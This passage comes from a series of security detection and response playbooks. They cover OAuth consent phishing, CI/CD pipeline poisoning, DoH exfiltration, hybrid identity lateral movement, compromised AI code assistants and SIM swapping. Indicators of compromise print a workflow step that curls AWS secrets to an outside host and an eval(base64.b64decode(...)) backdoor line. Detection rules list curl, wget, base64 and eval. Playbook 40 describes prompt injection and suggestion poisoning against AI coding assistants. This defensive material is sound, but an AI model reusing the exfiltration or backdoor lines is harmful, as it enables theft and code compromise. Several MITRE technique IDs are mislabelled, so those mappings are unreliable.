- Block traffic to app domain via proxy/firewall if applicable

Action 3: Block Shadow IT SaaS domains

- Use CASB or DLP controls to enforce sanctioned SaaS use
- Alert on future attempts to access similar platforms

5. Investigation

5.1 Trace Application Activity

Action 4: Identify app name, publisher and scopes granted

- Review scope list: Mail.ReadWrite, Files.Read.All, User.ReadBasic.All, etc.
- Match activity timeframes with OAuth refresh token timestamps

Action 5: Determine lateral impact

- Check if app accessed shared mailboxes or OneDrive/SharePoint folders
- Review outbound emails sent through app or external forwarding setups

5.2 Map Propagation

Action 6: Identify if phishing campaign is spreading app links

- Check for internal emails encouraging colleagues to use the same app
- Detect cloning of internal branding (e.g., fake collaboration invitations)

Action 7: Audit permissions and token lifecycles

- Compare scopes to enterprise policy
- Identify any long-lived or unmanaged token usage patterns

6. Recovery and Remediation

6.1 Clean Cloud Identity and Tokens

Action 8: Remove app from user account

- Revoke consent using Azure/GWS admin controls
- Disable persistent session or refresh tokens

Action 9: Reset impacted user sessions

- Force logout across devices
- Require MFA revalidation

6.2 SaaS Governance Controls

Action 10: Enforce app consent policies

- Only allow pre-approved or admin-reviewed apps to be granted scopes
- Use “Admin Consent Workflow” in Azure or GWS to manage access

Action 11: Implement SaaS inventory and discovery

- Use CASB to discover all SaaS use (Shadow IT)
- Map app risk scores and apply allow/deny decisions

7. Lessons Learned

7.1 Detection Engineering and Policy Strengthening

Action 12: SIEM rule for suspicious OAuth grant

rule: Unauthorised OAuth App Consent

if app_name not in allowlist
and scopes in ["Mail.ReadWrite", "Files.Read.All"]
and consent_given_by != "admin"
then alert

Action 13: Run Shadow IT red team assessment

- Simulate phishing campaign with OAuth grant abuse
- Evaluate user awareness and IdP control effectiveness

Action 14: Develop SaaS access matrix

- Define approved applications, permitted scopes and owner responsibility
- Link to incident response and DLP coverage

8. Reporting and Documentation

- Incident ID: DRP-2025-036
- Severity: High (Shadow SaaS app misused for exfiltration and persistent access)
- Impact: 16 users authorised rogue app, 412 files accessed, 87 auto-sent phishing emails
- IOCs Collected:
    - App Name: CloudDocs-Sync Pro
    - Publisher Domain: clouddocssync[.]app
    - OAuth Scopes: Mail.ReadWrite, Files.Read.All, Contacts.Read
- MITRE Mapping:
    - Initial Access: T1550.001, T1078.004
    - Persistence: T1098.001
    - Collection: T1530
    - Exfiltration: T1110.004, T1567 (Cloud App misuse)

Detection and Response Playbook 37: Exploitation of Infrastructure-as-Code Pipelines via Compromised GitHub Actions and CI/CD Secrets

1. Overview

Attack Type: DevOps Pipeline Abuse / CI/CD Supply Chain Compromise
Tactic: Initial Access, Persistence, Execution, Exfiltration
Technique (MITRE ATT&CK):

- T1609 – Container Administration Command
- T1552.001 – Unsecured Credentials: In CI/CD Environment Variables
- T1059.006 – Command and Scripting Interpreter: JavaScript
- T1588.002 – Code Repository for Capabilities
- T1195.002 – Supply Chain Compromise: Compromise Software Dependencies
- T1078.004 – Valid Accounts: Cloud Accounts

2. Attack Summary

The attacker compromises a GitHub repository or gains write access to a repository where GitHub Actions are used to automatically build, test and deploy infrastructure or code. Through this, they:

- Modify GitHub Actions workflow .yml files to inject malicious steps
- Steal cloud secrets stored in GitHub Actions secrets or environment variables
- Trigger malicious builds that deploy backdoors or send data externally

The attack may originate from a stolen access token, a malicious contributor or even typosquatting of dependencies used in the pipeline.

3. Detection Steps

3.1 GitHub Actions Anomaly Detection

- Data Source: GitHub Audit Logs, CI build logs, SIEM
- Detection Trigger:
    - Workflow YAML files modified by unexpected contributor
    - Build steps including suspicious curl, bash or echo RM{{ secrets.* }} commands
    - New or modified environment variables containing suspicious values or encoded payloads

3.2 Secrets Access and Misuse

- Data Source: GitHub Secrets Access Logs, Cloud provider IAM logs (AWS, Azure, GCP)
- Detection Trigger:
    - Cloud API calls made immediately after workflow execution from unknown IPs
    - Unusual frequency of secrets usage during CI/CD runs
    - Changes to deployment targets or storage access post-build

3.3 Lateral Movement and Malicious Builds

- Data Source: Container logs, Build artefact storage, Network telemetry
- Detection Trigger:
    - Push of artefacts containing unknown binaries or scripts
    - Outbound requests from build containers to external endpoints
    - Use of obfuscated code or eval within build steps

4. Response Actions

4.1 Containment

Action 1: Disable affected GitHub Actions workflow

- Temporarily disable CI/CD automation for the impacted repository
- Revoke GitHub Actions secrets used by the workflow

Action 2: Revoke API keys and rotate secrets

- Rotate all credentials exposed during the build
- Invalidate tokens used by malicious CI/CD steps

Action 3: Stop automated deployments

- Put production deployment on hold until build pipeline is validated
- Verify cloud infrastructure hasn't been altered (e.g., backdoors, storage changes)

5. Investigation

5.1 Review Workflow and Commit History

Action 4: Identify commits modifying .github/workflows

- Validate authorship and pull request source
- Compare workflow diffs to detect injected steps (e.g., run: curl -X POST)

Action 5: Analyse build logs for secrets misuse

- Look for exposed environment variables
- Check for base64-encoded payloads or shell one-liners

5.2 Assess Deployment and Cloud Abuse

Action 6: Review cloud logs tied to pipeline credentials

- Check for deployment of infrastructure not in IaC manifests
- Investigate cloud function triggers, IAM changes or new storage buckets

Action 7: Scan build artefacts and container images

- Look for embedded malware, cryptominers or callouts to attacker-controlled domains
- Check Dockerfiles and post-build scripts

6. Recovery and Remediation

6.1 Reset Pipeline and Credentials

Action 8: Rebuild trusted GitHub workflows

- Use template-controlled and reviewed .yml files
- Validate contributors with 2FA and commit signing

Action 9: Implement CI/CD secrets hygiene

- Store secrets in HashiCorp Vault or cloud-native secret managers
- Limit permissions of tokens used in automation (least privilege)

6.2 Secure GitHub Organisation and CI/CD Access

Action 10: Enforce GitHub organisation security policies

- Require code reviews and protected branches
- Enable Dependabot and code scanning

Action 11: Isolate build environments

- Run builds in ephemeral containers
- Restrict outbound traffic during build to known IPs/domains only

7. Lessons Learned

7.1 Detection Engineering and DevSecOps Improvements

Action 12: SIEM rule for suspicious GitHub Actions injection

rule: Malicious CI/CD Workflow Step
if file_modified == ".github/workflows/*.yml"
and commit_author not in ["trusted_admins"]
and workflow_step contains ["curl", "wget", "base64", "eval"]
then alert

Action 13: Red team simulation of pipeline poisoning

- Inject benign but abnormal workflow to test SOC visibility
- Validate alerting, containment and response

Action 14: CI/CD Security Playbook creation

- Document secure workflows
- Enforce review and approval policies before deployment automation

8. Reporting and Documentation

- Incident ID: DRP-2025-037
- Severity: Critical (CI/CD pipeline compromised, secrets exposed, malicious artefacts deployed)
- Impact: 1 GitHub repo compromised, 4 secrets exfiltrated, unknown code deployed to staging
- IOCs Collected:
    - Modified file: .github/workflows/deploy.yml
    - Malicious step: run: curl -X POST -d RM{{ secrets.AWS_KEY }}
    - External IP accessed: 178.128.88.43
- MITRE Mapping:
    - Initial Access: T1078.004
    - Execution: T1059.006
    - Persistence: T1609
    - Exfiltration: T1552.001
    - Supply Chain: T1195.002

Detection and Response Playbook 38: Evasion and Data Exfiltration via DNS-over-HTTPS (DoH) in Corporate Networks

1. Overview

Attack Type: Covert Channel / Evasion / Exfiltration
Tactic: Command and Control, Exfiltration, Defense Evasion
Technique (MITRE ATT&CK):

- T1071.004 – Application Layer Protocol: DNS
- T1568.002 – Dynamic Resolution: DNS over HTTPS
- T1048 – Exfiltration Over Alternative Protocol
- T1008 – Fallback Channels
- T1036 – Masquerading

2. Attack Summary

An attacker who has already compromised a host or internal system configures malware or a command-and-control agent to use DNS-over-HTTPS (DoH) as a covert channel for both communication and data exfiltration. Instead of standard DNS queries, DoH encrypts queries inside HTTPS, hiding them from traditional DNS inspection and content filtering.

The DoH traffic may be directed to:

- Public resolvers (e.g., dns.google, cloudflare-dns.com)
- Attacker-controlled DoH servers (e.g., VPS with nginx configured as DoH endpoint)
- Compromised legitimate infrastructure masquerading as known resolvers

3. Detection Steps

3.1 Network Traffic Monitoring

- Data Source: Proxy logs, Firewall logs, TLS inspection appliance, NDR
- Detection Trigger:
    - HTTPS requests to known DoH endpoints from non-browser processes
    - Repeated HTTPS traffic to /dns-query paths over port 443
    - Unusually high volume of small HTTPS packets with low entropy headers

3.2 Host Behaviour and Process Analysis

- Data Source: EDR, Sysmon, Windows Event Logs
- Detection Trigger:
    - Processes like cmd, powershell or unknown binaries making HTTPS calls to DoH servers

    - Suspicious DLLs or binaries dropped in C:\Users\Public\ invoking DoH-related APIs
    - Connections to DoH endpoints by non-browser applications (e.g., custom malware)

3.3 Anomaly in DNS Query Patterns

- Data Source: DNS resolver logs (internal), Threat Intel
- Detection Trigger:
    - Missing DNS queries from a host that typically uses the internal resolver
    - Spike in DNS failures followed by HTTPS traffic to known DoH IPs
    - Base64-like subdomains in HTTPS requests to /dns-query

4. Response Actions

4.1 Containment

Action 1: Block access to public DoH endpoints

- Use firewall or proxy to block domains such as dns.google, mozilla.cloudflare-dns.com, doh.opendns.com
- Create explicit deny rules for known DoH IP ranges

Action 2: Isolate suspicious host

- Use EDR or NAC to quarantine the host generating unusual DoH traffic
- Disable outbound HTTPS to unknown IPs temporarily during containment

Action 3: Revoke outbound communication pathways

- Enforce DNS resolution only through internal resolvers
- Restrict DNS via IP-layer filtering to prevent fallback (UDP/53, TCP/53, DoH/443)

5. Investigation

5.1 Analyse the Payload

Action 4: Decrypt and inspect captured DoH traffic (if TLS interception is enabled)

- Use PCAP from proxy or NDR tools
- Identify encoded or encrypted data passed as DoH query parameters (e.g., TXT record data, long subdomains)

Action 5: Examine suspicious process tree

- Trace the parent-child process chain that invoked DoH queries
- Look for malware behavior: persistence setup, mutex creation, encoded command execution

5.2 Check for Spread or Coordination

Action 6: Identify other hosts using DoH

- Run retrohunting across logs to detect similar HTTPS traffic patterns
- Use JA3/TLS fingerprinting to spot cloned malware C2 over DoH

Action 7: Cross-reference with threat intelligence

- Check known C2 indicators that use DoH tunneling
- Investigate domains registered recently with Let's Encrypt and serving /dns-query

6. Recovery and Remediation

6.1 Clean and Secure the Affected Host

Action 8: Remove malware and reimage if necessary

- Delete persistent malware components
- Reset affected credentials and sessions from the host

Action 9: Reset egress controls

- Enforce egress proxy policies and DNS inspection
- Redirect all client DNS requests through internal security stack

6.2 Harden DNS Policies

Action 10: Disable DoH in browsers where not needed

- Use GPO or mobile device management to turn off DoH in Chrome, Firefox, Edge
- Apply PAC files to enforce proxy-controlled resolution

Action 11: Enable DNS logging and alerting

- Monitor outbound DNS requests volume and entropy
- Alert on non-standard port usage or unexpected protocols (e.g., DNS over HTTP2)

7. Lessons Learned

7.1 Detection Engineering and Policy Enforcement

Action 12: SIEM rule for abnormal DoH endpoint traffic

rule: Suspicious DoH Communication Detected
if destination_domain in ["dns.google", "cloudflare-dns.com", "doh.opendns.com"]
and user_agent not in ["firefox", "chrome"]
and process_name not in ["firefox.exe", "chrome.exe"]
then alert

Action 13: Red team simulation of DoH tunnel

- Use tools like iodine, dnscat2 or DoHC2 in a testbed
- Validate Blue Team visibility and response time

Action 14: Conduct DNS architecture review

- Define acceptable resolvers and document DoH policies
- Verify security stack enforces resolution pathways properly

8. Reporting and Documentation

- Incident ID: DRP-2025-038
- Severity: High (Covert C2 channel and exfiltration via encrypted DoH traffic)
- Impact: 1 endpoint used for exfiltration of credentials and staged reconnaissance data (approx. 24KB)
- IOCs Collected:
    - Destination: https://dns.google/dns-query
    - Suspicious User-Agent: Python-DoHClient/1.0
    - Encoded payload hash: SHA256: 7cdce92ad01e...
- MITRE Mapping:
    - C2: T1071.004, T1568.002
    - Exfiltration: T1048
    - Evasion: T1036
    - Fallback Channel: T1008

Detection and Response Playbook 39: Lateral Movement Using Cloud Service Accounts in Hybrid Azure AD Environments

1. Overview

Attack Type: Identity Compromise and Lateral Movement via Hybrid AD
Tactic: Initial Access, Lateral Movement, Credential Access, Privilege Escalation
Technique (MITRE ATT&CK):

- T1557.001 – Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning
- T1078.004 – Valid Accounts: Cloud Accounts
- T1550.002 – Use of Authentication Packages
- T1134.002 – Access Token Manipulation: Create Process with Token
- T1087.002 – Account Discovery: Domain Accounts
- T1021.002 – Remote Services: SMB/Windows Admin Shares

2. Attack Summary

An attacker compromises a hybrid environment by either:

1. Gaining control of an on-premise account that is synchronised to Azure AD
2. Compromising a service account (e.g., MSOL_<GUID>) created by Azure AD Connect
3. Leveraging misconfigured permissions or lingering legacy sync configurations

Using the compromised account or token, the attacker:

- Authenticates to on-prem systems using Kerberos or NTLM
- Moves laterally across AD-joined machines
- Harvests additional credentials or secrets
- Uses AAD or OAuth tokens to reach cloud applications (Teams, Exchange Online, SharePoint)

This type of attack often bypasses MFA if on-premise tokens are synced or trusted automatically.

3. Detection Steps

3.1 Identity and Token Abnormalities

- Data Source: Azure AD Sign-in Logs, Microsoft Defender for Identity (MDI), SIEM
- Detection Trigger:
    - Service account authenticating to cloud services outside normal scope
    - User token reuse across cloud and on-prem in a short timeframe

    - Suspicious logins using MSOL_, AADConnect or old synced accounts

3.2 On-Premise Lateral Movement

- Data Source: Sysmon, Windows Security Logs, Active Directory Logs
- Detection Trigger:
    - 4624 logon events with Type 3 (network logon) using service/cloud accounts
    - Token impersonation events (4648, 4672) tied to hybrid accounts
    - Remote WMI or SMB access by accounts with no admin role

3.3 Domain Sync and Token Mapping Abuse

- Data Source: Azure AD Connect logs, MDI, Kusto queries in Microsoft 365
- Detection Trigger:
    - Sync job manipulation or sudden permission escalation in AAD
    - Authentication with legacy protocol (e.g., NTLM) and subsequent cloud API usage
    - Creation of OAuth tokens for Graph API using low-priv accounts

4. Response Actions

4.1 Containment

Action 1: Disable compromised cloud and on-prem accounts

- Immediately disable AD and Azure AD user or service account
- Rotate associated credentials and revoke tokens

Action 2: Revoke session tokens and clear persistence

- Use Azure AD PowerShell to revoke refresh and access tokens
- Clear device tokens and block sign-ins for affected identities

Action 3: Quarantine endpoints accessed during lateral movement

- Use Defender for Endpoint, NAC or firewall to isolate machines
- Trigger memory dump and full triage on suspected systems

5. Investigation

5.1 Identity Chain Mapping

Action 4: Review sign-in logs from cloud and on-prem

- Correlate user sign-in activity across environments (e.g., Azure AD → AD DC → file server)
- Look for mismatched device IDs or conditional access failures

Action 5: Token abuse and impersonation mapping

- Check for CreateProcessAsUser or LogonUser calls via EDR
- Analyse OAuth and SAML tokens issued to hybrid accounts

5.2 Permission and Group Audit

Action 6: List all synced and hybrid accounts with elevated roles

- Look for accounts with Global Administrator, Hybrid Identity Administrator or Directory Synchronisation Accounts
- Audit membership in AD groups like Domain Admins, Server Operators, etc.

Action 7: Investigate lateral tools used

- Detect net use, wmic, PsExec or Rubeus on affected machines
- Capture TTPs tied to lateral movement (e.g., Pass-the-Hash, Kerberoasting)

6. Recovery and Remediation

6.1 Identity Rehardening

Action 8: Reset passwords and reapply Conditional Access

- Reset passwords for all affected hybrid users
- Enforce MFA and device compliance policies

Action 9: Reconfigure Azure AD Connect securely

- Review sync rules and filtering
- Ensure MSOL_ accounts are least-privileged and monitored

6.2 Token and Protocol Controls

Action 10: Disable legacy authentication

- Block NTLM, basic auth and POP/IMAP for cloud accounts
- Require modern authentication and token protections (e.g., sign-in frequency)

Action 11: Enable Identity Protection alerts

- Turn on risky sign-in alerts in Microsoft 365
- Monitor impossible travel and unfamiliar sign-in patterns

7. Lessons Learned

7.1 Detection Engineering and Identity Security

Action 12: SIEM rule for lateral movement via hybrid identity

```
rule: Hybrid Identity Lateral Movement
if logon_type == "network"
and account_name startswith "MSOL_" or "aadconnect"
and destination_host != "AD Connect Server"
then alert
```

Action 13: Simulate hybrid identity attack

- Red team test: compromise synced account, extract token and access cloud apps
- Blue team test: correlate logs and identity activity graph

Action 14: Run hybrid identity exposure scan

- Use Azure AD Risk Assessment or Microsoft Secure Score
- Generate report on shadow admin roles and sync misconfigurations

8. Reporting and Documentation

- Incident ID: DRP-2025-039
- Severity: Critical (Identity compromise enabled full domain traversal and cloud pivot)
- Impact: 1 hybrid identity compromised, 4 servers laterally accessed, 2 OAuth tokens issued
- IOCs Collected:
    - Account: MSOL_1a4f9b4b34e
    - Lateral tool: wmic /node: commands seen in logs
    - Sign-in IP: 13.107.136.0/24 (Azure C2 host)
- MITRE Mapping:
    - Credential Access: T1550.002, T1078.004
    - Lateral Movement: T1021.002, T1134.002
    - Discovery: T1087.002
    - Persistence: T1550.002

Detection and Response Playbook 40: Compromise of AI Code Assistants for Source Code Theft and Logic Injection

1. Overview

Attack Type: Intellectual Property Theft / Code Manipulation via AI Tooling
Tactic: Initial Access, Collection, Execution, Defense Evasion
Technique (MITRE ATT&CK):

- T1606 – Forge Web Credentials
- T1530 – Data from Cloud Storage
- T1059.006 – Command and Scripting Interpreter: JavaScript
- T1565.002 – Data Manipulation: Stored Data Manipulation
- T1556.001 – Modify Authentication Process

2. Attack Summary

AI-powered coding assistants such as GitHub Copilot, Amazon CodeWhisperer or Tabnine operate through cloud APIs to analyse prompts and return code suggestions. These assistants require access to developer environments, source code and sometimes entire repositories to provide context-aware completions.

An attacker exploits this model by:

- Compromising credentials or API tokens of the AI assistant
- Submitting malicious prompts to infer internal logic or leak source code
- Injecting backdoors, vulnerable logic or data exfiltration code into suggestions
- Hijacking a plugin or VSCode extension to alter AI-generated output

This results in code-level backdoors, logic bombs, IP leakage or long-term supply chain corruption.

3. Detection Steps

3.1 API and Extension Anomalies

- Data Source: IDE telemetry, firewall logs, endpoint monitoring, GitHub logs
- Detection Trigger:
    - Abnormal API calls to copilot-proxy.githubusercontent.com or similar
    - Large outbound traffic during code sessions
    - Use of unapproved extensions that mimic Copilot/CodeWhisperer plugins

3.2 Code Injection via Suggestion History

- Data Source: Git diffs, repository logs, CI/CD scans
- Detection Trigger:
    - Repeated insertion of suspicious code patterns from AI suggestions
    - Use of obfuscated payloads (e.g., base64-encoded commands, eval-based code) in AI-assisted commits
    - Developer commits code they did not fully author (sudden style shift, high volume)

3.3 Codebase Leakage Patterns

- Data Source: Endpoint DLP, proxy logs, cloud egress logs
- Detection Trigger:
    - Prompts including sensitive keywords like API_KEY, secrets, config.yaml
    - Multiple failed API calls followed by valid ones from uncommon regions
    - Copy-paste patterns where source code is pasted into browser or unknown IDE plugin

4. Response Actions

4.1 Containment

Action 1: Revoke and rotate compromised AI assistant credentials

- Reset GitHub or AWS tokens tied to Copilot/CodeWhisperer
- Audit OAuth app permissions granted to IDE plugins

Action 2: Disable affected IDE extensions

- Remove third-party or tampered plugins from VSCode, IntelliJ, etc.
- Block access to non-sanctioned AI services via firewall or DNS

Action 3: Quarantine exposed codebase

- Restrict repo access for suspected leakage
- Run full static and dynamic code analysis scans

5. Investigation

5.1 Trace Source of Malicious Suggestions

Action 4: Review suggestion history (Copilot labs or IDE logs)

- Identify if prompt injection or pre-seeded backdoor was introduced via suggestion
- Compare input vs. generated output

Action 5: Audit commit history and authorship

- Correlate unusual commits with specific IDE sessions
- Identify if committers are new, temporary or compromised accounts

5.2 Check for Stolen Intellectual Property

Action 6: Search for code signatures in paste sites or GitHub leaks

- Look for leaked internal functions in repositories or threat intel feeds
- Check file hashes and snippet reusage on public platforms

Action 7: Validate build pipeline integrity

- Ensure no injected logic reached staging or production
- Confirm CI/CD artefacts were not altered by poisoned commits

6. Recovery and Remediation

6.1 Secure Development Workflow

Action 8: Disable auto-accept of suggestions

- Require review before AI-generated code is merged
- Implement pre-commit and pull-request security scanning

Action 9: Rebuild affected components

- Remove and refactor backdoored code
- Use SAST/DAST tools for regression analysis

6.2 Strengthen Access and Governance

Action 10: Enforce MFA and device posture for developers

- Require secure endpoints for AI-enabled environments
- Monitor browser plugins and IDE behaviour

Action 11: Review all integrated third-party tools

- Maintain list of allowed extensions and APIs
- Log and alert on new installations or network destinations

7. Lessons Learned

7.1 Detection Engineering and AI Governance

Action 12: SIEM rule for large IDE-based traffic to external AI services

rule: Suspicious AI Code Assistant Activity
if destination_domain in ["copilot-proxy.githubusercontent.com",
"codewhisperer.aws.com"]
and process_name not in ["code.exe", "idea64.exe"]
and upload_size > 5MB
then alert

Action 13: Run secure coding simulation with AI assistance

- Blue team to review AI-generated insecure code
- Red team to simulate prompt injection or code suggestion poisoning

Action 14: Define policy for AI use in development

- Restrict AI usage for regulated workloads (e.g., financial, health)
- Require manual review of all AI-assisted commits

8. Reporting and Documentation

- Incident ID: DRP-2025-040
- Severity: Critical (Backdoor logic introduced via AI-generated code and confirmed IP exfiltration)
- Impact: 2 components affected, 1 logic bomb inserted, source code snippets found externally
- IOCs Collected:
    - Plugin: VSCode-AIProPlugin v1.3.9
    - API Endpoint: copilot-proxy.githubusercontent.com/v1/completions
    - Injected logic: eval(base64.b64decode(request.get("payload")))
- MITRE Mapping:
    - Data Manipulation: T1565.002
    - Execution: T1059.006
    - Exfiltration: T1530
    - Initial Access: T1606

Detection and Response Playbook 41: Account Takeover via SIM Swapping and Mobile-Based MFA Bypass

1. Overview

Attack Type: Identity Theft / Account Takeover (ATO)
Tactic: Initial Access, Credential Access, Evasion
Technique (MITRE ATT&CK):

- T1110 – Brute Force
- T1111 – Two-Factor Authentication Interception
- T1078 – Valid Accounts
- T1606 – Forge Web Credentials
- T1586.002 – Compromise Accounts: Social Media or Phone Provider
- T1566.004 – Phishing: Voice

2. Attack Summary

An attacker conducts a SIM swap by convincing a mobile carrier to transfer a victim's phone number to a SIM card they control. Once successful, they intercept SMS-based MFA codes and OTPs. This enables them to bypass MFA protections and take over:

- Email accounts
- Banking portals
- Cloud logins
- Cryptocurrency wallets
- Social media platforms

In some cases, attackers pair this with credential stuffing or phishing attacks to obtain the username/password first, then wait to intercept the 2FA SMS.

3. Detection Steps

3.1 Identity Behavioural Anomalies

- Data Source: Identity provider logs (Azure AD, Okta, Google), SIEM
- Detection Trigger:
    - Login from a new device and location immediately after SIM swap event
    - Sudden change in 2FA method (SMS added, OTP disabled)
    - Successful login following multiple failed MFA attempts

3.2 Telecom and Notification Logs

- Data Source: User-reported telecom provider logs, SIEM or EMM platforms

- Detection Trigger:
    - User mobile device goes offline and re-registers with a new IMEI
    - Carrier sends SIM replacement alert
    - Failed app-based MFA but successful SMS-based MFA after a gap

3.3 Account Settings Modifications

- Data Source: Email security gateway, cloud admin logs, user account settings
- Detection Trigger:
    - Recovery email or phone number changed
    - Password reset initiated without corresponding user activity
    - OTP delivery method changed to a number not previously seen

4. Response Actions

4.1 Containment

Action 1: Lock the affected account(s)

- Immediately suspend account access
- Trigger account verification workflow with trusted contact methods

Action 2: Notify user and block further 2FA via SMS

- Alert end-user via email and registered device
- Temporarily disable SMS-based authentication

Action 3: Revoke all sessions and tokens

- Revoke refresh tokens from identity provider
- Block current sessions using admin portal tools (e.g., Azure AD, Google)

5. Investigation

5.1 Verify Account Takeover Events

Action 4: Review login sessions

- Check geolocation, device ID and IP of recent logins
- Correlate with timestamp of SIM change or phone loss

Action 5: Cross-check with carrier records

- Confirm whether SIM swap occurred via social engineering, online portal or insider threat
- Document method of takeover (call-in, SMS self-service, retail fraud)

5.2 Check for Further Access or Data Exfiltration

Action 6: Investigate email forwarding and inbox rules

- Check for malicious auto-forwarding rules or deletion filters
- Review sent items for password reset emails to other services

Action 7: Evaluate financial or critical service exposure

- Check if linked apps (e.g., bank apps, crypto wallets) were accessed
- Look for third-party access via OAuth tokens or linked credentials

6. Recovery and Remediation

6.1 Restore and Re-verify User Identity

Action 8: Force secure re-authentication

- Require multiple trusted methods (ID verification, recovery codes)
- Remove attacker-controlled recovery options

Action 9: Restore account settings and remove attacker artifacts

- Delete malicious inbox rules, app passwords or token grants
- Review changes to device trust or application sessions

6.2 Harden MFA and Telecom Policies

Action 10: Enforce app-based MFA (e.g., Microsoft Authenticator, Google Authenticator)

- Mandate push or TOTP-based second factor
- Disable SMS as default unless absolutely required

Action 11: Collaborate with telecom providers

- Add port-out PIN, SIM lock features
- Establish high-risk alerting channels with telcos

7. Lessons Learned

7.1 Detection Engineering and User Education

Action 12: SIEM rule for suspicious 2FA change and ATO

rule: Potential SIM Swap ATO
if mfa_method_changed
and new_method == "sms"
and ip_address_country != previous_login_country
then alert

Action 13: Conduct SIM swap response tabletop exercise

- Red team simulates attacker call to telco
- Blue team practices ATO response and token revocation

Action 14: Implement user education campaigns

- Inform users to report sudden mobile service loss
- Train on port-out PIN usage and recovery planning

8. Reporting and Documentation

- Incident ID: DRP-2025-041
- Severity: High (Account Takeover with potential access to financial assets and sensitive emails)
- Impact: 1 primary email compromised, SMS OTP intercepted, 3 linked financial services accessed
- IOCs Collected:
    - Attacker IP: 45.134.200.39 (login post-SIM swap)
    - SIM swap event: +6012xxxxxxx moved to new SIM at 12:43 PM GMT+8
    - Recovery email added: attacker-temp@protonmail.com
- MITRE Mapping:
    - Initial Access: T1586.002, T1110
    - Credential Access: T1111
    - Evasion: T1606
    - Valid Accounts: T1078

Detection and Response Playbook 42: Abuse of OAuth Consent Phishing for Persistent Access to Cloud Accounts

1. Overview

Attack Type: Identity Attack / Persistence via API Consent
Tactic: Initial Access, Persistence, Collection, Credential Access
Technique (MITRE ATT&CK):

- T1528 – Steal Application Access Token
- T1550.001 – Use of OAuth Tokens
- T1556.003 – Modify Authentication Process: Web Portal
- T1078 – Valid Accounts
- T1087.004 – Cloud Account Discovery

2. Attack Summary

The attacker sends a phishing email impersonating a legitimate app or service, prompting the user to "consent" to an application's access. Upon clicking, the user is redirected to a real Microsoft 365 or Google Workspace login page, followed by an OAuth consent screen requesting permissions.

If the user accepts:

- The attacker's app gains access to their cloud mailbox, files, calendar and contacts.
- No password is stolen , instead, a refresh token and access token are issued to the attacker.
- The attacker can persist silently even after password changes unless the consent is revoked.

This technique is highly evasive, often bypassing MFA and doesn't trigger standard login alerts.

3. Detection Steps

3.1 OAuth Application Consent Events

- Data Source: Azure AD Sign-in Logs, Unified Audit Logs (M365), Google Workspace Admin Logs
- Detection Trigger:
    - OAuth app consent granted outside IT-approved list
    - High-risk permissions like Mail.ReadWrite, Files.Read.All, offline_access, openid, User.Read

    - Consent granted by users without admin roles (indicating phishing instead of internal deployment)

3.2 Unusual App Activity Post-Consent

- Data Source: Cloud API access logs, SIEM
- Detection Trigger:
    - Repeated API access from non-corporate IPs using refresh tokens
    - Access patterns inconsistent with user location or behaviour
    - Activity continues despite user being inactive or password reset

3.3 Consent Phishing Indicators

- Data Source: Email gateway logs, Threat Intel feeds
- Detection Trigger:
    - Emails containing OAuth links like https://login.microsoftonline.com/common/oauth2/authorize?...
    - Use of newly registered app/client IDs in email redirection chain
    - High click-through rates from known phishing campaigns

4. Response Actions

4.1 Containment

Action 1: Revoke consent for the malicious app

- Use Microsoft Graph API or Azure Portal to revoke OAuth token grants
- Remove app from enterprise applications list

Action 2: Revoke all active refresh tokens for the user

- Forces all sessions to expire immediately
- Disrupts ongoing API access by attacker

Action 3: Quarantine any downloaded or shared files

- Investigate OneDrive, SharePoint or Gmail drive activity
- Restrict external sharing until review is complete

5. Investigation

5.1 App Metadata and Scope Review

Action 4: Identify the malicious app

- Review App ID, name, publisher and scopes requested
- Look for suspicious redirect URIs or verified publisher status

Action 5: Examine token usage logs

- Identify IPs, user agents and timeframes of token use
- Compare activity timeline with the original phishing email delivery

5.2 Scope of Impact

Action 6: Check for data exposure

- Review mail, calendar and file access by the attacker app
- Trace if any data was read, modified or exfiltrated

Action 7: Audit other user accounts

- Search for similar consent grants across the tenant
- Determine if the campaign was targeted or broad-based

6. Recovery and Remediation

6.1 Secure Identity and Session State

Action 8: Reset user password and enforce re-authentication

- While OAuth tokens do not require a password, reset to ensure session invalidation
- Reapply MFA enforcement

Action 9: Limit future OAuth access

- Restrict user consent to verified apps only
- Use Azure AD tenant-wide consent policies or Google Workspace OAuth allowlist

6.2 Email and Application Controls

Action 10: Enhance phishing link detection

- Update email filters to flag OAuth phishing URLs
- Train users to spot legitimate vs suspicious app prompts

Action 11: Periodic review of third-party app access

- Use scheduled scans to list OAuth grants
- Automatically alert when high-risk permissions are requested

7. Lessons Learned

7.1 Detection Engineering and Policy Reinforcement

Action 12: SIEM rule for new OAuth grant to unapproved app

rule: OAuth Consent Anomaly
if event_type == "ConsentGranted"
and app_id not in [approved_apps]
and permissions includes ["offline_access", "Mail.ReadWrite"]
then alert

Action 13: Red team simulation using consent phishing

- Use benign app to test user behaviour
- Evaluate response speed, detection and training effectiveness

Action 14: Implement consent governance

- Use Admin Consent Workflow (Microsoft)
- Restrict all app consent unless pre-approved

8. Reporting and Documentation

- Incident ID: DRP-2025-042
- Severity: High (Persistent access to user cloud account via OAuth token, MFA bypassed)
- Impact: 1 mailbox accessed, 2GB data exposed, OAuth token reused from external server
- IOCs Collected:
    - Malicious App ID: ffbb773e-2c3e-4414-98e4-23dfc0d0a991
    - Token usage IP: 103.124.214.21
    - Consent link: https://login.microsoftonline.com/common/oauth2/authorize?...
- MITRE Mapping:
    - Credential Access: T1550.001
    - Persistence: T1556.003
    - Valid Accounts: T1078
    - Collection: T1528

Detection and Response Playbook 43: Cloud Reconnaissance and Lateral Movement via Misconfigured IAM Roles

1. Overview

Attack Type: Cloud Privilege Escalation and Lateral Movement
Tactic: Discovery, Lateral Movement, Credential Access, Privilege Escalation
Technique (MITRE ATT&CK):

- T1087.004 – Cloud Account Discovery
- T1538 – Cloud Service Discovery
- T1078.004 – Valid Accounts: Cloud Accounts
- T1098.001 – Account Manipulation: Additional Cloud Roles
- T1550.003 – Use of SSO Tokens
- T1609 – Container Administration Command

2. Attack Summary

An attacker gains initial access to a cloud environment (e.g., AWS, Azure or GCP) via compromised credentials, token exposure or public access misconfiguration. They then use enumeration techniques to:

1. Discover cloud services, roles and trust policies.
2. Enumerate IAM permissions using tools like aws sts get-caller-identity, iam:ListRoles and iam:SimulatePrincipalPolicy.
3. Assume overly permissive roles through sts:AssumeRole (AWS), service principal impersonation (Azure) or service account impersonation (GCP).
4. Move laterally across projects/accounts or escalate to admin privileges.

Attackers may use the new privileges to:

- Access sensitive storage (S3, Blob, GCS).
- Manipulate configurations (e.g., IAM, CloudTrail).
- Launch compute instances or containers to establish persistence.

3. Detection Steps

